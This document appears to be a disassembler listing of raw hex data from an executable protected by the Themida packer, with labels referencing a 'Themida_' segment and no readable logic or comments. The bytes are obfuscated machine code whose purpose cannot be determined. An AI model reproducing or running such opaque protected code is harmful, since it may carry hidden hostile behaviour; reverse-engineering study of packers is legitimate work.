		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3DC5B53Bh, 860F064Bh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	482A3185h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 322D95FFh,	0F500648h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	482A3185h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 31858B00h, 8606482Ah, 0FDB0A18h, 0FFFFF685h,	5585C7FFh
		dd 6481Ah, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 1A5585C7h, 1000648h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 3D6685C7h, 1064Bh, 0F500000h
		dd 0FE244C01h, 3D6A858Fh, 858D064Bh, 64B3D62h, 3D6ABD8Dh
		dd 3889064Bh, 23E9h, 0E5858D00h, 8B064821h, 17053840h
		dd 899B46F3h, 4B3D6285h, 0E5858D06h, 8B064821h,	85893C40h
		dd 64B3D66h, 3D7F858Dh,	8589064Bh, 648322Dh, 87E9h
		db 0
byte_570D61	db 52h,	8Bh, 0D4h	; DATA XREF: Themida_:0053FAE4o
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h
		db 0
byte_570D89	db 52h,	8Bh, 0D4h	; DATA XREF: Themida_:0053F218o
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h
		db 0
byte_570DB1	db 52h,	8Bh, 0D4h	; DATA XREF: Themida_:0053FE1Co
		dd 33535156h, 8728BDBh,	0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h
		dd 34980400h, 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh
		dd 5E595BC3h, 8C25Ah, 3FF2858Dh, 8589064Bh, 6482D75h, 401A858Dh
		dd 8589064Bh, 64824A9h,	4042858Dh, 8589064Bh, 64830ADh
		dd 4BBE6660h, 0E8C08BC0h, 7, 0C919E658h, 0E87B27D6h, 0Eh
		dd 70BA460Dh, 3721DBA9h, 7CC040F6h, 5A5E703Ah, 20E9BD83h
		dd 75000648h, 61BD8309h, 6482Ch, 53501974h, 0EB8C08Bh
		dd 89000004h, 4828A185h, 2C9D8D06h, 0FF064AB0h,	83585BD3h
		dd 482C61BDh, 17740006h, 0EB85350h, 89000004h, 4828A185h
		dd 1B9D8D06h, 0FF064AADh, 6A585BD3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CC34C357h
		dd 14E9CFh, 0F87F0000h,	95CB1F4Bh, 0DA318F24h, 6B301D95h
		dd 86D2403h, 0D681B58Ah, 258FE56Ch, 8BCEBF0Fh, 0E98166C0h
		dd 0BD83FCA8h, 6480B19h, 2C840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0CEDFC357h, 41AE488h, 2D1E997h, 0A5BA0000h, 8C0859BDh
		dd 57006ADFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0DBA24171h, 34B88320h, 66F28BAEh, 66EDECBEh
		dd 4C7F7h, 295850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0D9FEA3C3h, 8BB6A744h
		dd 6AFF2BF0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8D51C353h, 4B44089Dh, 12E806h
		dd 9C560000h, 24A56AC4h, 92972A1Fh, 68E2F727h, 9F644DFCh
		dd 0C681535Ah, 582596ABh, 24B5935Ah, 6A9350h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BFB4C6C3h
		dd 820F93BCh, 3, 6420F680h, 35FFh, 64F80000h, 2589h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 1F944AC3h, 1D791C9Ah, 840F46CCh, 6, 3BBE6652h, 0C48B597Ch
		dd 0A37B966h, 0EB01CDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0D3C35343h, 56A67417h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 84C35646h, 6232A5F0h
		dd 0DC4570C6h, 64F2B2E4h, 58Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 26B67AC3h
		dd 0D65F1802h, 0F40A3EDh, 87h, 4C48300h, 7E8h, 0D4ECB00h
		dd 45ABCBF5h, 86DCBA66h, 0FC00B5Ah, 12284h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0D5DFCF23h, 4CD86FE9h, 61D08B61h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 5EC35646h, 0DED69E83h, 8DD68B6Ah
		dd 486F77BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66F3E692h, 1943C281h, 1B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0B96020C2h, 0D32E0DB1h, 8F0F0DE9h, 3, 0FFCBBF0Fh, 52006AE7h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0C8563153h, 16564737h, 57CBB70Fh, 10245C8Bh,	0B8838Bh
		dd 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h,	0B8h, 0C0335F02h
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 52213C4Eh, 6D024D7Ah, 8800F66h, 0F000000h
		dd 28Dh, 61616000h, 8BFCD18Ah, 50006AC0h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0EA7C90FBh
		dd 83D18B66h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h
		dd 8B535019h, 40EB8C0h,	85890000h, 6480021h, 0B0939D8Dh
		dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h,	40EB853h
		dd 85890000h, 6480021h,	0AD349D8Dh, 0D3FF064Ah,	0FF8585Bh
		dd 0C08BC9BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0F9C35242h, 9D1E36B3h, 0F2A359Ch, 688h,	89D28100h
		dd 8B7C770Fh, 8EBC2h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 48194985h
		dd 0D0858D06h, 8B064B74h, 888B08h, 8B000010h, 4A8B660Ah
		dd 0C8D89FCh, 83064B45h, 4804E5BDh, 840F0006h, 0Fh, 0FF006A60h
		dd 48306195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 64B4508h, 450CB58Bh, 0CEC1064Bh
		dd 72896610h, 0CB58B02h, 66064B45h, 61FC7289h, 4508858Bh
		dd 8DC3064Bh, 48072195h, 31958906h, 8906482Ah, 480FD595h
		dd 0D585FF06h, 0C606480Fh, 48276D85h, 0D8685306h, 0FFFCB148h
		dd 482C21B5h, 78858D06h, 0FF064838h, 618589D0h,	8D064830h
		dd 4B3D9985h, 1858906h,	0E906481Eh, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h, 8	dup(0)
		dd 587E9h, 57BE900h, 17680000h,	0E9064B48h, 0FFFD36F7h
		dd 4B48CE68h, 36EDE906h, 8D68FFFDh, 0E9064B4Ah,	0FFFD36E3h
		dd 4B4B0C68h, 36D9E906h, 0EEFEFFFDh, 0ECE9BAA2h, 0F1E7B8A0h
		dd 0F4EAABA5h, 0F8EFB0A8h, 2D9584ACh, 0F963AFA8h, 0EB65B1A8h
		dd 0C36DB9AAh, 0BC74C092h, 0C6B894D8h, 665611F9h, 6781438Fh
		dd 4374101Bh, 7CF8428Eh, 0CFC6B306h, 7377885Bh,	0CFC6B303h
		dd 0EC37CE31h, 14A964Bh, 0FBA196Fh, 4BC10432h, 0D4F11638h
		dd 3F4Bh, 5586E300h, 0DF42F7Bh,	0B32B1B2Fh, 26094FC6h
		dd 0B2EB600Ch, 5F7B4FC6h, 0C6B31B8Bh, 1CF6194Fh, 2F0D2315h
		dd 0E7332A0Bh, 4129055Ch, 498DF516h, 7A5B0928h,	3E231C68h
		dd 13F95CF4h, 95000000h, 0C6B31C96h, 71D1F4Fh, 0F4EA9559h
		dd 35DC498Dh, 678141FBh, 540C2D1Bh, 50EA3F08h, 5D714DF7h
		dd 4FC6B2E9h, 224AE44Bh, 30394D67h, 386E8FDBh, 694536BFh
		dd 0C786C943h, 220B210Bh, 0E834218h, 0E320E5Ah,	66408F5h
		dd 93E1D5E1h, 0CFC63023h, 2C24EE11h, 81DF0D45h,	0C61FF56Dh
		dd 6CD837CFh, 200A7C50h, 72ACFC6h, 566A122Bh, 251E6A65h
		dd 203E303Ch, 13EECFC6h, 4FEB3730h, 28105C0Eh, 1A8C607Ch
		dd 1ACFC620h, 24141BF7h, 0E8418D42h, 18C3707Ch,	16F9C98Eh
		dd 0A50E6F0Dh, 365BA35Fh, 0BFB3BF5Bh, 0A8C97DCFh, 0B2A4A894h
		dd 0B7C97DCFh, 76CB54A0h, 7E967190h, 5F2E7CD7h,	976EE42Eh
		dd 0A9059E21h, 62E5CEh,	5B790000h, 5975D3E9h, 498DF7F6h
		dd 4F6BD938h, 17236F66h, 2E469446h, 4A0F2C2Bh, 1D3EF60Fh
		dd 0F419F945h, 0C3CAF043h, 3378578h, 7A6A0000h,	7855062Eh
		dd 7D53042Ch, 80560731h, 845BFC34h, 0B9210038h,	65CF1B34h
		dd 67D11D34h, 5FD92536h, 78E02C3Eh, 42343864h, 0F25611FBh
		dd 23FCFD3h, 0D3000003h, 2C785586h, 0F5B75E2h, 14D0831h
		dd 0E841035h, 684FC6B3h, 4FC6B272h, 0C6B39104h,	9C05D94Fh
		dd 73D23BD4h, 71E57360h, 0C34FC7A5h, 58A4C35Ch,	0EB9EEBA2h
		dd 672F234Fh, 53474FC7h, 234FC767h, 8FC7672Fh, 28142C0Ch
		dd 8CFFA424h, 8FAD5409h, 0CE68B4A6h, 88A0A079h,	0C4F10DCh
		dd 0A3B70FD9h, 0F854A0B2h, 0FC8F486h, 79AF8BA6h, 0E3FD13CCh
		dd 4CB58C97h, 0B3A55B5h, 0B27D0CB9h, 28043h, 55A1B300h
		dd 57A3BADBh, 58A4BCDDh, 5BA7BFE0h, 5BA7C0E1h, 0D75C82E1h
		dd 0DB7CB400h, 0E182BA06h, 0C596BE0Ah, 397C10Dh, 0FBA313D7h
		dd 32915611h, 1D6981F0h, 0F743163Fh, 439D52Ch, 0F30B2Dh
		dd 0C793FE38h, 0A599B593h, 874FC73Eh, 0BAE381A8h, 0E0F393BDh
		dd 0CEB26B94h, 376DE1EDh, 60BF4FC7h, 0D9F56DC9h, 498E7952h
		dd 0E2CCADD6h, 9D619FCAh, 0D32CD12Ch, 0FE188118h, 0A4B052Ch
		dd 0DF2B4056h, 0D16627Ch, 3263CD34h, 551081Eh, 0EE4E231Ch
		dd 0E5666AD6h, 174FD9C6h, 2DB04F6h, 47E0B4E0h, 96A716A9h
		dd 0C56F9611h, 0B5A9C599h, 774FC6F4h, 7CF67E98h, 0BF4FC6F4h
		dd 0F5F9677Dh, 498E3672h, 0F6DF7DA4h, 0CB17CEE4h, 0B1A9FA62h
		dd 0DDEF765h, 97A386C1h, 0ADA596AEh, 0B59DD561h, 0B15611BAh
		dd 0B882CE88h, 0BBA9BF81h, 0D8FC84AFh, 4C8F44Fh, 4FC6F492h
		dd 6DB37FA2h, 0CD85B692h, 0D486D781h, 0CDB5BF88h, 8E4FC6F4h
		dd 0A6AA96AEh, 498E36A5h, 0AB8CB857h, 0B0F16BB7h, 5CB56EBAh
		dd 0BF98C4DCh, 0BABA58A6h, 323632B8h, 47233FDBh, 4FD91220h
		dd 2D796F48h, 1D030FF2h, 372B4902h, 304FC70Eh, 6253C302h
		dd 4326216Dh, 705A65F7h, 455E54F1h, 3C17D719h, 35F23C43h
		dd 15h,	681D86C9h, 0AAE466F1h, 28224AE4h, 0F74FC758h, 0Ch
		dd 7B55868Bh, 1387E32Fh, 354FC6A9h, 62785586h, 42FD2470h
		dd 5CDC53DFh, 4F541844h, 0FD498DF5h, 0F0502922h, 120D590Eh
		dd 666AD62Fh, 4FD9C639h, 0A7C099C5h, 0DB79D05Bh, 4FCA276Bh
		dd 56CC66C9h, 54ADF9F1h, 0B83E25B6h, 0EA4B14CCh, 0C1h
		dd 9C94E0F4h, 9E96E2FBh, 9D97E3FDh, 9E96E2FCh, 9E96E2FDh
		dd 0BD9217BFh, 0C396C771h, 0C79CBD77h, 0CAA0C17Bh, 9EC2D67Eh
		dd 11FDDCD2h, 29755056h, 4D09E95Bh, 4AE34601h, 521E421Eh
		dd 4FC6B35Ch, 8DE531D0h, 498DF506h, 34805982h, 26FC16EBh
		dd 3324400Bh, 0EB2BD420h, 0B610E9BBh, 11330610h, 0CA814DFBh
		dd 1E4FDA56h, 49382E42h, 15FC4FCAh, 2A0827F9h, 0CCB8DC9Bh
		dd 4268CD96h, 75000000h, 7829135Fh, 7627115Dh, 7D1E1662h
		dd 7A1B1561h, 401F1965h, 0EE3A159Ah, 0F03C1546h, 0F8441748h
		dd 0FF4B1F40h, 511D4155h, 5611FE5Dh, 86AAF4CFh,	0B320965Ah
		dd 0ED144FC6h, 3F221h, 63900000h, 1F6B8117h, 135F7324h
		dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h
		dd 236F6916h, 125E7728h, 75687419h, 8900002Bh, 89562434h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2414895Ch, 3D1168h
		dd 242C8900h, 1CE16856h, 815E79B0h, 0CE28B3CEh,	2EEC125h
		dd 0B850D6F7h, 25CAD5C0h, 8958C601h, 8B545EF2h,	0C483242Ch
		dd 458F5204h, 2434FF08h, 4C4835Dh, 5A2434FFh, 0E904C483h
		dd 0FFFD3187h, 4B73B8B6h, 0C503064Bh, 0EBC88Bh,	601E9h
		dd 5F5E900h, 0E3680000h, 0E9064B4Ch, 0FFFD3167h, 4B4DEF68h
		dd 315DE906h, 7E68FFFDh, 0E9064B4Eh, 0FFFD3153h, 4B4F2F68h
		dd 3149E906h, 0A468FFFDh, 0E9064B50h, 0FFFD313Fh, 2C247064h
		dd 2E26726Bh, 2D27736Dh, 2E26726Ch, 2E26726Dh, 2D22A72Fh
		dd 332677E1h, 372C6DE7h, 3A3071EBh, 0E5246EEh, 11FF4C42h
		dd 0D705E056h, 0A313D703h, 915611FFh, 0FF6CE26Eh, 61C05611h
		dd 55866FD5h, 580B2C78h, 0F06A020Ch, 864FC6B2h,	4FC6B310h
		dd 0C6B2F76Eh, 0B30B7F4Fh, 7F5B4FC6h, 0C6B2FB6Bh, 0D97F364Fh
		dd 78CC787Dh, 62AEA592h, 8DA980E9h, 0C7396EE5h,	39900A4Fh
		dd 0EAD6CFC7h, 0C73970E6h, 105BC4CFh, 0DEB10EC1h, 7BBE58B1h
		dd 0B995B3C9h, 0C98F28B2h, 8EA7957Ch, 0F6A791DDh, 0CB8E99E5h
		dd 9C056379h, 6F4E8B50h, 13CC6F47h, 0DBEF6BC7h,	0CFD6CA1Ch
		dd 0C257B75Ah, 0F54CBB57h, 43FCB2Ah, 0CE9E0000h, 0CC89DA82h
		dd 0D187D880h, 0D48ACB85h, 0D88FD088h, 0DB5A48Ch, 0D983CF88h
		dd 0CB85D188h, 0A38DD98Ah, 9C94E0F2h, 66D8F438h, 0C65611FFh
		dd 6981232Fh, 118A221Dh, 504FC6B3h, 0A5D24D99h,	0A5E35CA8h
		dd 0C449F4CFh, 0EEC7378Eh, 70E6EAFBh, 0C44FC6B3h, 0ED6AC45Dh
		dd 0F3AFA9F5h, 78C20EC2h, 9CA7F3E7h, 909BE7FBh,	35AA69C1h
		dd 24E071Dh, 0F49E049h,	0F115324Dh, 3A35154h, 81E50000h
		dd 7A221D69h, 0DF3B8761h, 0C6B32093h, 7E557D4Fh, 0D1035109h
		dd 756BCF78h, 9178C4A1h, 90DCC078h, 0C790CABCh,	7CC76A4Fh
		dd 94BC08DBh, 0A5C30FC3h, 0C28E9FB4h, 4FC790CCh, 0DF68C160h
		dd 0ED97B08Ah, 9089FDD1h, 0BAAB4FC7h, 7FE25DA9h, 0B0A58CA6h
		dd 0D189DA82h, 0C49DBA85h, 23EA2576h, 0A99AC29Ah, 91CB62AEh
		dd 71E5E9D5h, 0C34FC743h, 0A09AD25Ch, 0C14FC743h, 8EE35CA8h
		dd 0A6AA96AEh, 498F1345h, 6FFA18F7h, 4ACAF3F0h,	3333C21h
		dd 0C2920000h, 0C09DBE76h, 0C59BBC74h, 0C89EBF79h, 0CC83D47Ch
		dd 8149D880h, 9D97E3FCh, 9F99E5FCh, 0B7A1EDFEh,	0B0A8F4E6h
		dd 7AEC002Ch, 0BA561200h, 5586171Bh, 0F3636778h, 414FC6B2h
		dd 6AEB47DEh, 236F6278h, 5FE84128h, 65DE2A40h, 52091F32h
		dd 79351F06h, 4FC6B2C1h, 0C6A33D35h, 0E12D244Fh, 6D7E5783h
		dd 0C3635321h, 2ED14FC6h, 59515BE4h, 0E24FC6C3h, 468A4862h
		dd 0FC0DFC88h, 333725h,	2E498F05h, 183A43D3h, 2AF5CAF3h
		dd 2A4CBh, 5510300h, 7530A4Bh, 8540C4Dh, 0B570F50h, 0B571051h
		dd 870CD251h, 8BCC84D0h, 91D28AD6h, 0F5A68EDAh,	33A791DDh
		dd 173E3E7h, 22C15612h,	53698120h, 226E697Fh, 7629220Bh
		dd 420F1864h, 9EB429ECh, 9C5F652h, 0DBCB9FBDh, 594FC6B3h
		dd 0A2F45CB6h, 54F1161Dh, 22866h, 1C960000h, 454FC6B3h
		dd 1561788Eh, 401344ECh, 570C2BF4h, 44DD2941h, 0FDD82EFBh
		dd 68B4AC8Dh, 8EDA91CEh, 15EFF4A6h, 579454F1h, 2A000000h
		dd 75D3E95Bh, 0F5418D44h, 0A976616Dh, 0DE02498Eh, 0ECE9C12h
		dd 0A5719056h, 0E78E9C83h, 0A2CAF34Bh, 1F364D9h, 82520000h
		dd 805DFE36h, 855BFC34h, 885EFF39h, 8C43143Ch, 0C1091840h
		dd 5DD7233Ch, 5FD9253Ch, 77E12D3Eh, 70E83426h, 3A2C406Ch
		dd 0FA561202h, 72BED7DBh, 5B716D4Eh, 14ED3682h,	5D4921EDh
		dd 0CF4FC6B3h, 59515B2Eh, 0DA331533h, 43073351h, 4FC6F153h
		dd 63F43EE1h, 0E7382470h, 0EACE95D0h, 850EAB2h,	0EC378357h
		dd 66023025h, 17105C75h, 3470E832h, 53524408h, 75E24FC7h
		dd 3217105Ch, 4D1E3FDBh, 61726301h, 9CFEA15h, 96ED96CDh
		dd 0CF83D47Ch, 0C297C883h, 96DABE76h, 0C718C4BAh, 0EBFF684Fh
		dd 9FBD869Fh, 18BFAFBBh, 0AFA24FC7h, 0CA64CB63h, 0D987D38Dh
		dd 8E99E500h, 0F33C50BBh, 4329433Ah, 12435FF7h,	0D039F23Eh
		dd 0A9E8AB37h, 0CA646E64h, 0DDF3EF67h, 5AB39691h, 0CB82B3D1h
		dd 0AEA2B37Fh, 8DAEFA62h, 0B6A8C4D5h, 764FC797h, 50B9729Bh
		dd 97B4AEC6h, 0B5874FC7h, 0BC9DC19Fh, 0AFBB57A3h, 498F813Ch
		dd 10864AF2h, 24560F7Dh, 1F3824FDh, 2142FA46h, 6B4CF844h
		dd 380D2975h, 0E0065407h, 0EC9CDE00h, 2582259Ah, 0FD4FFDFAh
		dd 20811B24h, 75059D07h, 6BB7AB60h, 0F2E778C2h,	0E6FA9DA6h
		dd 37CE1AD0h, 302F50ECh, 0D4562E35h, 0C375BC56h, 0B2A68FADh
		dd 0AA84DD66h, 0B0AD8EB2h, 0AC86DB64h, 0D715C3C0h, 7896794Fh
		dd 0CCBB0ACBh, 7E9085AEh, 0DD000000h, 0E081BB07h, 0DE7FB905h
		dd 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h, 58A4BDDEh
		dd 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh, 561203B5h,	81525C77h
		dd 2E7A5369h, 2AF50CF5h, 3E09550Dh, 0C3389BF3h,	0C799C30Fh
		dd 54F115BCh, 10C7h, 1D965F00h,	444FC6B3h, 71A428Eh, 13h
		dd 7D5586BBh, 0B570E31h, 0B34F432Fh, 40124FC6h,	86023CF4h
		dd 0E42E7A55h, 2E0B96Dh, 99000000h, 1F6B81CDh, 135F7324h
		dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h
		dd 236F6916h, 125E7728h, 89567419h, 4C681E6h, 83000000h
		dd 348704EEh, 24248B24h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 89572414h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 243C895Ch
		dd 80B85051h, 89005507h, 494158C1h, 449DC181h, 0CA8905F6h
		dd 3C8B5459h, 4C48324h,	24048152h, 0DEC36D3h, 5608478Fh
		dd 0EC36D3BEh, 877290Dh, 243C8B5Eh, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 5724148Bh, 0C781E789h, 4,	8704C783h, 0E95C243Ch
		dd 0FFFD2B7Fh, 0B82D5232h, 64B5147h, 0D18BC503h, 0D9E9h
		dd 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h, 3C0000h
		dd 400000h, 940000h, 50000h, 10000h, 0A280000h,	20000h
		dd 20h dup(0)
		dd 8E080000h, 8E901D9h,	68000020h, 64B547Bh, 0FD2A86E9h
		dd 559B68FFh, 7CE9064Bh, 68FFFD2Ah, 64B5654h, 0FD2A72E9h
		dd 572C68FFh, 68E9064Bh, 68FFFD2Ah, 64B5805h, 0FD2A5EE9h
		dd 58C468FFh, 54E9064Bh, 68FFFD2Ah, 64B596Ah, 0FD2A4AE9h
		dd 5A1368FFh, 40E9064Bh, 68FFFD2Ah, 64B5DA4h, 0FD2A36E9h
		dd 5E1768FFh, 2CE9064Bh, 68FFFD2Ah, 64B5F5Eh, 0FD2A22E9h
		dd 62B968FFh, 18E9064Bh, 68FFFD2Ah, 64B6679h, 0FD2A0EE9h
		dd 6A3D68FFh, 4E9064Bh,	68FFFD2Ah, 64B6BD9h, 0FD29FAE9h
		dd 6C3F68FFh, 0F0E9064Bh, 68FFFD29h, 64B6CA9h, 0FD29E6E9h
		dd 6D0868FFh, 0DCE9064Bh, 68FFFD29h, 64B6E11h, 0FD29D2E9h
		dd 6F7968FFh, 0C8E9064Bh, 68FFFD29h, 64B7053h, 0FD29BEE9h
		dd 0A5F1E3FFh, 0A7F3EAABh, 0A8F4ECADh, 0ABF7EFB0h, 0ABF7F0B1h
		dd 0A72CB2B1h, 0ABEC64B0h, 0B1F26AB6h, 95C66EBAh, 0D3C771BDh
		dd 6D3C387h, 82615612h,	1D698140h, 7F297A22h, 34D37DE8h
		dd 441647D3h, 47F940F8h, 6C371331h, 0C2498EB0h,	0D2C8E45Fh
		dd 95560EF1h, 0D3F0669Dh, 0B05B394Fh, 31h, 0EE95B46h, 0C6B34C42h
		dd 0E841E04Fh, 9E9B707Ch, 2ED1498Eh, 0DEE357F5h, 4E84560Eh
		dd 6F60777h, 0C4E90485h, 740F4DE9h, 0F5B39A3h, 0A8h, 1D6981A7h
		dd 0E5A7522h, 24706215h, 1A667C1Bh, 0B6DF9622h,	50024FC6h
		dd 570B4C04h, 47F9400Bh, 30221331h, 3E124AE4h, 498E9EA5h
		dd 0C9B0A887h, 0E7036177h, 4FD42F5Fh, 0E5D6728Dh, 0E5B69EEAh
		dd 98909EEAh, 0DDCCB9CBh, 1DB7A392h, 56060000h,	5411520Ah
		dd 590F5008h, 5C72230Dh, 60772810h, 953D1C14h, 510B5710h
		dd 230D5910h, 1B156172h, 341C687Ah, 0FE707CA0h,	2E561206h
		dd 55868B97h, 13F6317Dh, 33815607h, 0B714B116h,	0CA84B761h
		dd 0A5B9A77Eh, 0C7A4D5C9h, 5EB8574Fh, 9BB1A9FAh, 0EC778C4h
		dd 97F16BC2h, 0FCD1E95Bh, 354EFA81h, 0B589B74Eh, 0D0D1C589h
		dd 0C0984FC6h, 0B056AB74h, 67D7F351h, 0C54FC6D0h, 4FA4D06Ah
		dd 9D498EBCh, 92BDE682h, 8D01CD11h, 9F560EF4h, 2956A780h
		dd 0E983BC56h, 560EDC71h, 0DAF6CAF6h, 560EDC64h, 7ECA9FC8h
		dd 69C55CC5h, 29B62CE7h, 5A5B393Fh, 0A3h, 1D6981F4h, 84617A22h
		dd 0D52C786Eh, 3A1BF74Ah, 0C580F25h, 5FE8342Bh,	8C28230Ah
		dd 4FC6B6D9h, 520A560Ch, 120D5911h, 79E7FD3Fh, 8E9E5E75h
		dd 0AFA79049h, 0DE81E863h, 9F82BD09h, 0D567CE86h, 948FDBF5h
		dd 0CBBB8FADh, 69560EDFh, 0ED015FC6h, 4FD44C90h, 0D40563BEh
		dd 0D485AFFBh, 0A75FAFFBh, 2CCB9D6h, 1C97C439h,	0F6E60000h
		dd 0F4F1B2AAh, 0F9EFB0A8h, 0FCD283ADh, 0D788B0h, 359D7CB4h
		dd 0F16BB7B0h, 0C36DB9B0h, 0BB75C192h, 0D47CC89Ah, 0DED09CC0h
		dd 4E561208h, 66812B77h, 6981221Ah, 8149331Dh, 75221D69h
		dd 0E804C5Dh, 1E4FC6B3h, 15896503h, 174FC6B3h, 442711F8h
		dd 0F60E2EBEh, 95B9864Ah, 240B498Eh, 3114E738h,	80898012h
		dd 8BEA8DA7h, 0AF8B078Bh, 279A5450h, 67D9F991h,	44D7F351h
		dd 0AA0454C4h, 0CD56A2BDh, 0BF928D74h, 0F5F9677Dh, 61C9435h
		dd 0BB9CC867h, 0CCED5BA7h, 0E870CA16h, 0BE92A3B7h, 0A8CE4C8h
		dd 7AEC006Ch, 0BA0A8CE4h, 0B757AE57h, 767D66D5h, 0DE66D7A0h
		dd 2D00001Bh, 3071EB37h, 2E6FE935h, 1546EE3Ah, 1243ED39h
		dd 0D847F13Dh, 26726DF2h, 28746D2Eh, 307C6F30h,	37835708h
		dd 795599FDh, 56120905h, 8182CC27h, 7A221D69h, 3BD63D29h
		dd 20FA8DFAh, 33112719h, 8F83D817h, 41FB1649h, 281858EEh
		dd 44083410h, 560F7C52h, 67F33FE2h, 0D75E9C63h,	0B647EA4Fh
		dd 0A49AB68Ah, 884FC7A1h, 0F4E58DA9h, 7C8878DAh, 3B1C3D23h
		dd 58749739h, 17786EE6h, 0F842EB46h, 7BE9FF41h,	6F1B8B5Fh
		dd 0F6191778h, 0F6408C45h, 5AC9626Eh, 0FC231140h, 0A85D3F60h
		dd 304D305Bh, 281861E6h, 4A033410h, 52DC45FEh, 9104460Ah
		dd 49720B87h, 2306418Dh, 52EE1117h, 2B257169h, 6367786Ah
		dd 1777F0F3h, 0E747DE41h, 0B0A6953h, 658BD66h, 5500001Bh
		dd 5809337Fh, 5607317Dh, 5DFE3682h, 5AFB3581h, 20FF3985h
		dd 0CE1A35BAh, 0D01C3566h, 0D8243768h, 0DF2B3F60h, 313D6175h
		dd 56120A3Dh, 86CAD4EFh, 0F52E7A55h, 0EC382B0Ch, 1344CE33h
		dd 0E138F33Fh, 3F1B495Fh, 0C6B33B2Bh, 2A16F94Fh, 0C6B33026h
		dd 111D044Fh, 82A68549h, 7998498Eh, 8BCB6CBFh, 5CC5A3B9h
